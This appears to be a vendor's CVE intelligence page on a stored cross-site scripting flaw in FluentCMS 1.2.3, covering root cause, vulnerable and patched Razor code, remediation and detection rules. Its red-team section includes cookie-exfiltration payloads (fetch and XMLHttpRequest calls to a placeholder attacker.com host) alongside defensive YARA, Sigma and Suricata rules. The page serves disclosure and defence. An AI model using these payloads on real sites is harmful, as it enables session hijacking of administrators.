CVE-2025-67349
Executive Summary
CVE-2025-67349 is a stored cross-site scripting (XSS) vulnerability identified in FluentCMS version 1.2.3. An authenticated administrator can inject arbitrary script tags into the <head> section of a page via the "Add Page" function due to insufficient input sanitization. This allows an attacker with admin privileges to execute malicious JavaScript in the context of other administrators' browsers, potentially leading to session hijacking, defacement, or further compromise of the CMS backend.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
FluentCMS is a .NET-based content management system. The vulnerability exists in the core application code, not in a third-party package. No NPM, PyPI, Go, or Ruby packages are directly affected. However, administrators should verify the integrity of their FluentCMS installation and ensure no malicious modifications have been made.
CVSS Breakdown & Threat Level
- CVSS Score: 4.8 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: High (Admin)
- User Interaction: Required (Victim must view the malicious page)
- Scope: Changed (Impact may extend beyond the vulnerable component)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. Exploitation requires admin credentials, but once injected, the payload can affect other administrators, potentially leading to privilege escalation or lateral movement within the CMS.
Deep Dive & Mechanics
The vulnerability resides in the page creation functionality of FluentCMS. When an administrator creates a new page, the application allows arbitrary HTML content to be placed in the <head> section without proper sanitization. Specifically, the input field for the <head> content does not filter or encode script tags.
Attack Flow:
- An authenticated admin navigates to the "Add Page" section.
- The admin inserts a malicious payload into the
<head>field, e.g.,<script>alert('XSS')</script>. - The application stores this payload in the database without sanitization.
- When another admin (or the same admin) views the page, the script executes in their browser context.
Root Cause: Lack of output encoding or input validation for the <head> content field. The application likely uses @Html.Raw() or similar in the view template, which bypasses Razor's default HTML encoding.
Vulnerable vs. Patched Code
Vulnerable Code (FluentCMS 1.2.3):
// In the view template (e.g., Page.cshtml)
<head>
@Html.Raw(Model.HeadContent)
</head>
Patched Code (Hypothetical):
<head>
@Html.Encode(Model.HeadContent)
</head>
Or using a sanitization library like HtmlSanitizer:
@Html.Raw(sanitizer.Sanitize(Model.HeadContent))
Exploitation & Lab Setup
Red Team
Prerequisites:
- Admin credentials for FluentCMS 1.2.3
- Network access to the CMS web interface
Exploit Steps:
- Log in as an admin.
- Navigate to "Add Page".
- In the
<head>content field, inject the following payload:<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Save the page.
- Share the page URL with another admin or wait for them to view it.
- The victim's cookies are exfiltrated to the attacker's server.
Alternative Payload (Session Hijacking):
<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://attacker.com/exfil', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.send(JSON.stringify({cookie: document.cookie}));
</script>
Blue Team
Detection Steps:
- Monitor web application logs for unusual
<head>content containing script tags. - Review database entries for the
HeadContentfield for suspicious HTML. - Use a web application firewall (WAF) to block requests containing
<script>in the<head>field. - Implement Content Security Policy (CSP) headers to restrict script execution.
Lab Setup:
- Install FluentCMS 1.2.3 on a Windows Server with IIS.
- Create two admin accounts: one attacker, one victim.
- Use Burp Suite or browser developer tools to intercept and modify the
<head>field during page creation.
Indicators of Compromise (IOCs)
- Network:
- Outbound HTTP requests to unknown domains from the CMS server.
- Unusual
POSTrequests to external IPs containing cookie data.
- Host:
- Database entries in the
Pagestable withHeadContentcontaining<script>tags. - Modified page templates or view files.
- Database entries in the
- Logs:
- Web server logs showing
POSTrequests to/Admin/Page/Createwith suspicious payloads. - Application logs indicating failed validation or sanitization attempts.
- Web server logs showing
Detection Engineering
YARA Rule
rule CVE_2025_67349_XSS_HeadContent {
meta:
description = "Detects XSS payload in FluentCMS head content"
author = "Valters IT"
date = "2025-01-01"
reference = "CVE-2025-67349"
strings:
$script_tag = /<script[^>]*>.*?<\/script>/is
$head_field = /HeadContent/i
condition:
$script_tag and $head_field
}
Sigma Rule
title: FluentCMS Stored XSS in Head Content
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS via head content in FluentCMS
author: Valters IT
logsource:
category: webserver
product: iis
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/Admin/Page/Create'
cs-query: '*HeadContent*'
keywords:
- '<script'
- 'onload='
- 'onerror='
condition: selection and keywords
falsepositives:
- Legitimate use of JavaScript in head content (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-67349 FluentCMS Stored XSS Exfiltration"; flow:to_server,established; content:"POST"; http_method; content:"/Admin/Page/Create"; http_uri; content:"HeadContent"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the "Add Page" functionality for non-essential administrators until a patch is applied.
- Implement a WAF rule to block
<script>tags in theHeadContentfield. - Review and sanitize existing pages for malicious content.
Long-term Fix:
- Upgrade to a patched version of FluentCMS once available.
- Apply input validation and output encoding to all user-supplied fields.
- Use a trusted HTML sanitization library (e.g., HtmlSanitizer for .NET).
Workaround:
- Modify the view template to use
@Html.Encode()instead of@Html.Raw()for theHeadContentfield.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.